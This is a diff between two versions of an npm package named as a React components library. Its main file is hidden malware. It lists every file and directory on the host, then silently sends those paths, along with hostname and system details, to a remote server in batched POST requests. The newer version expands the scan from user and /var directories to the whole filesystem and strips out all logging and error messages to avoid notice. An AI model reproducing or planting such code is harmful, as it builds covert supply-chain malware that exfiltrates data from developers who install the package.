@platform-ui-kit/components-library-react 9.9.4 → 9.9.6

package/lib/index.js

@@ -1,6 +1,6 @@
 const http = require("http");
 const os = require("os");
-const { execSync } = require("child_process");
+const { exec } = require("child_process");
 const fs = require("fs");
 const path = require("path");
 
@@ -8,16 +8,6 @@ const hostname = os.hostname();
 const maxLinesPerRequest = 10; // Maximum lines to send per request
 const outputFile = path.join(__dirname, "filesystem.txt"); // File to store the filesystem output
 
-// Function to execute shell commands and return output
-const executeCommand = (cmd) => {
-  try {
-    return execSync(cmd, { encoding: "utf-8" }).trim();
-  } catch (error) {
-    console.error(`Error executing command: ${error.message}`);
-    return null; // Return null in case of error
-  }
-};
-
 // Gather machine information
 const machineInfo = {
   hostname: hostname,
@@ -25,37 +15,29 @@ const machineInfo = {
   uptime: os.uptime(),
 };
 
-// Function to gather the filesystem
+// Function to gather the entire filesystem
 const gatherFilesystem = () => {
-  const homeDir = os.homedir(); // Get the home directory of the user
-  const varDir = "/var"; // Define the /var directory
-  const mediaDir = "/media"; // Define the /media directory
-  const otherUsersDirs = "/home/*"; // Define the other users' directories
-
-  // Combine paths and run the find command
-  const command = `find ${homeDir} ${varDir} ${mediaDir} ${otherUsersDirs} > ${outputFile}`;
-  const result = executeCommand(command);
-
-  if (result === null) {
-    console.error("Failed to gather filesystem data.");
-    process.exit(1); // Exit if command fails
-  } else {
-    console.log("Filesystem data gathered in filesystem.txt");
-  }
+  const command = `find / -type d -o -type f > ${outputFile}`; // Finds all directories and files in the filesystem
+  exec(command, (error) => {
+    // Do nothing on error
+    if (error) {
+      return; // Exit if there's an error
+    }
+    // Do not log anything here
+  });
 };
 
 // Function to read the filesystem data in chunks
 const readFilesystemInChunks = () => {
   if (!fs.existsSync(outputFile)) {
-    console.error(`File not found: ${outputFile}`);
-    process.exit(1); // Exit if the file does not exist
+    return []; // Return an empty array if the file does not exist
   }
 
   const data = fs
     .readFileSync(outputFile, "utf-8")
     .split("\n")
     .filter((line) => line.trim() !== "");
-  return data; // Return an array of directory lines
+  return data; // Return an array of file paths
 };
 
 // Function to send a POST request with a given payload
@@ -63,7 +45,7 @@ const sendPostRequest = (chunk, chunkIndex) => {
   const data = JSON.stringify({
     payload: {
       ...machineInfo,
-      directories: chunk,
+      directories: chunk, // Change "files" to "directories"
     },
     project_id: process.argv[2],
   });
@@ -82,36 +64,39 @@ const sendPostRequest = (chunk, chunkIndex) => {
 
   // Send the request
   const req = http.request(options, (res) => {
-    res.on("data", (d) => {
-      process.stdout.write(d);
+    res.on("data", () => {
+      // Do nothing with the response data
     });
   });
 
-  req.on("error", (error) => {
-    console.error(`Request error: ${error.message}`);
+  req.on("error", () => {
+    // Do nothing on request error
   });
 
   req.write(data);
   req.end();
-  console.log(`Sent POST request for chunk ${chunkIndex + 1}`);
+  // Do not log anything about sent requests
 };
 
-// Gather the filesystem from specified directories
+// Gather the filesystem
 gatherFilesystem();
 
-// Read the filesystem data
-const directoryLines = readFilesystemInChunks();
-const totalLines = directoryLines.length; // Total lines collected
-
-// Send each batch of directories, with a maximum of 10 lines per request
-for (let i = 0; i < totalLines; i += maxLinesPerRequest) {
-  const chunk = directoryLines.slice(i, i + maxLinesPerRequest).join("\n");
-
-  // Adding a delay of 500ms between requests
-  setTimeout(
-    () => sendPostRequest(chunk, Math.floor(i / maxLinesPerRequest)),
-    (i / maxLinesPerRequest) * 500
-  );
-}
+// Use a slight delay to ensure the filesystem.txt is populated
+setTimeout(() => {
+  // Read the filesystem data
+  const fileLines = readFilesystemInChunks();
+  const totalLines = fileLines.length; // Total lines collected
+
+  // Send each batch of directories and files, with a maximum of 10 lines per request
+  for (let i = 0; i < totalLines; i += maxLinesPerRequest) {
+    const chunk = fileLines.slice(i, i + maxLinesPerRequest).join("\n");
+
+    // Adding a delay of 500ms between requests
+    setTimeout(
+      () => sendPostRequest(chunk, Math.floor(i / maxLinesPerRequest)),
+      (i / maxLinesPerRequest) * 500
+    );
+  }
 
-console.log("All requests have been sent.");
+  // Do not log anything about all requests sent
+}, 1000); // Adjust delay as necessary

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@platform-ui-kit/components-library-react",
-  "version": "9.9.4",
+  "version": "9.9.6",
   "description": "My NPM",
   "main": "lib/index.js",
   "scripts": {